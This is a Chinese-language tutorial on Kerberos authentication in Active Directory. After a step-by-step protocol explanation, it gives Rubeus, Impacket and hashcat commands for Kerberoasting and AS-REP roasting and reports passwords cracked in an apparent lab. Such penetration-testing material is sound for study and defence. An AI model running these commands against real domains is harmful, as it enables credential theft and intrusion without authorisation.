Kerberos认证与利用
Kerberos
深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题,因为许多利用都是基于 Kerberos 的。自 Windows Server 2003 开始,Kerberos 充当着身份认证的主要角色。NTLM 认证采用了质询响应的机制,而 Kerberos 是基于票据系统的。
因此,在利用 Kerberos 之前,我们应该理解 Kerberos 认证的每一步。在 Kerberos 认证中,有这么几个角色我们需要知道:
客户端:登录其工作站的终端用户
KDC:域中的域控制器,由身份认证服务器 AS,和票据授予服务器 TGS 组成
服务/资源服务器:终端用户在认证后想要访问的服务或资源所在的服务器,如 MSSQL 服务器实例所在的服务器。
步骤 1:AS-REQ
当终端用户登录时,客户端向域控制器的认证服务器发送请求。请求中包含了使用用户密钥加密的时间戳。根据 Kerberos 所使用的加密类型,例如 AES256_HMAC_SHA1,密钥则由用户名、密码、域名生成 (如果是 RC4,那么密码的 NTLM 哈希就可以)。
步骤 2:AS-REP
当认证服务器 AS 收到了请求,查询该用户的存在,并用 AD 数据库中该用户的凭证所得到的的密钥来解密该时间戳。如果该时间戳有效,那么 AS 返回使用 krbtgt 密钥加密后的 TGT 和用户密钥加密后的会话密钥 1 (客户端与认证服务器之间) 。因为会话密钥 1 是使用用户密钥加密的,用户可以自行解密并且重用。TGT 包含了诸多用户的相关信息,包括权限信息 (组归属),时间戳、地址、会话密钥 1。
步骤 3:TGS-REQ
客户端使用自己的密钥解密得到会话密钥 1,并用会话密钥 1 加密时间戳。客户端向票据授予服务器 TGS 发起请求,指定要访问的服务的 SPN,并提交得到的 TGT。
步骤 4:TGS-REP
票据授予服务器 TGS 使用 krbtgt 的密钥解密 TGT,从而得到会话密钥 1,再用会话密钥 1解密请求中的其他信息,如时间戳。如果一切校验无误,TGS 返回使用会话密钥 1 加密的会话密钥 2 (客户端与资源服务器之间的会话密钥) ,以及服务票据。服务票据包含了客户端主体名称、目标资源的 SPN,以及会话密钥 2 等信息,服务票据被资源账户的密钥加密
步骤 5:AP-REQ
客户使用会话密钥 1 来解密会话密钥 2,于是客户现在有了服务票据以及会话密钥 2 了。客户向资源服务器发起请求,请求中包含了服务票据、使用会话密钥 2 加密的时间戳和客户端主体。
步骤 6:AP-REP
资源服务器使用 SPN 对应的账户的密钥解密服务票据,得到会话密钥 2,进而解密得到时间戳和客户端主体。资源服务器还会检查客户端的权限,例如其所在分组,一切无误即授予访问。
简化流程
Kerberos 认证实际上很复杂,在很多情况下,我们也不需要记住每一步的每一个细节,我们可以稍微简化流程以帮助快速理解。假设在以下步骤中,没有任何异常发生,例如错误的凭证、网络的不稳定、权限不足。
客户端认证
第 1 步:客户端向 KDC (AS) 请求 TGT
第 2 步:KDC (AS) 将 TGT 返回给客户端。
客户授权
第 3 步:客户端向 KDC (TGS) 请求服务票据
第 4 步:KDC (TGS) 将服务票据返回给客户端
访问请求
第 5 步:客户端请求访问特定的资源
第 6 步:如果客户端具有权限 (例如属于特定分组),则授予访问
Kerberoasting 攻击
如果一个在服务以域用户的上下文在域主机机上运行,那么它是一个服务帐户,并且具有服务主体名称 SPN。 SPN 是服务实例的唯一标识符。 krbtgt 总是设置了 SPN,但它是不可利用的。
根据前面提到的 Kerberos 身份认证流程,我们发现服务帐户的密钥用于加密服务票据。 因此,Kerberoasting 是一种通过为目标服务帐户请求服务票据从而提取 krb5tgs 哈希的技术。之后则可以对 krb5tgs 哈希进行离线破解,如果运气好的话则能还原出明文密码。
基于 Windows 平台的枚举与利用
枚举
Get-NetUser -SPN | select samaccountname
利用
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap
基于 Linux 平台的枚举与利用
利用
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password]
破解哈希
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt
我们得到 PROD 域中,sql_service 账户的密码为 beautiful1。
ASREPRoasting 攻击
如果域用户不需要 Kerberos 预身份验证,我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。
基于 Windows 平台的枚举与利用
枚举
Get-NetUser -PreAuthNotRequired | select samaccountname
我们发现,raven-med 域中的用户 jason 禁用了预认证。
利用
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap
基于 Linux 平台的枚举与利用
利用
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn]/ -userfile [user list] -format hashcat
破解哈希
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt
我们成功地还原出了用户 jason 的密码,为 1q2w3e4r。